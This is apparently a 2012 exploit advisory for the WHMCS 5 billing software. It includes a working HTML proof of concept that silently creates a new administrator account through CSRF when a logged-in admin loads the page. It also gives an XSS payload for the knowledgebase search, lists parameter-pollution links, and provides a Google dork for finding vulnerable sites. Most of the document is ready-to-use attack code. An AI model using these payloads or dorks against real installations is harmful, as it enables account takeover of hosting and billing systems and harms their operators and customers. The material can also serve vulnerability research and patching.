########
# Title: WHMCS 5 Multiple CSRF (Add Admin) and XSS Vulnerability
# Version: Latest version 5.1 and other previous version maybe vulnerable
# Vendor: www.whmcs.com
# Date: 2012-05-30
# Tested on: win/linux
# Author/Found by: Shadman Tanjim
# Email: shadman2600@gmail.com
# Greetz: Sayem Islam, Shahee Mirza, JingoBD, ManInDark, Rohit And All Crew and Members of Bangladesh Cyber Army.
# Special Thanks: x8631p
# Google Dork: "Powered by WHMCompleteSolution" or inurl:WHMCS
##########
CSRF Vulnerability:
Get:
http://site.com/clientarea.php
http://site.com/admin/index.php
http://site.com/admin/login.php
Post:
http://site.com/admin/login.php
http://site.com/cart.php
http://site.com/admin/configadmins.php
http://site.com/pwreset.php
p0c:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<h2>WHMCS CSRF ExpL0iT PoC</h2>
</head>
<script language="javascript" type="text/javascript" >
function lifeissimple() {
var token = "Token Value";
var img = document.createElement("img");
var site="http://www.localhost.com:80";
var requesturl = site + "/billing/admin/configadmins.php?action=save&id=&token=" + token + "&roleid=1&firstname=dead&lastname=cow&email=deadcow@deadcow.com&username=deadcow&password=deadcow&password2=deadcow&deptids[]=4&deptids[]=1&signature=deadcow¬es=deadcow&template=blend&language=English";
img.setAttribute("src", requesturl);
document.body.appendChild(img);
var img2 = document.createElement("img");
img2.setAttribute("src", site+"/billing/admin/configadmins.php?added=true&");
document.body.appendChild(img);
}
</script>
<body onload="lifeissimple();">
</body>
</html>
Cross-site Scripting (XSS) Vulnerability:
request:POST http://site.com/knowledgebase.php?action=search HTTP/1.1
Content-Type: application/x-www-form-urlencoded
search='%20onerror%3D'f(PSRyh)
HTTP Parameter Pollution :
1.Affected link: http://site.com/cart.php?a=add&domain=transfer&n913620=v992636
Affected parameter: a=add
2. Affected link: http://site.com/domainchecker.php?search=bulkregister&n946774=v992350
Affected parameter: search=bulkregister
3. Affected link: http://site.com/cart.php?currency=2&gid=1&n972751=v976696
Affected parameter: currency=2
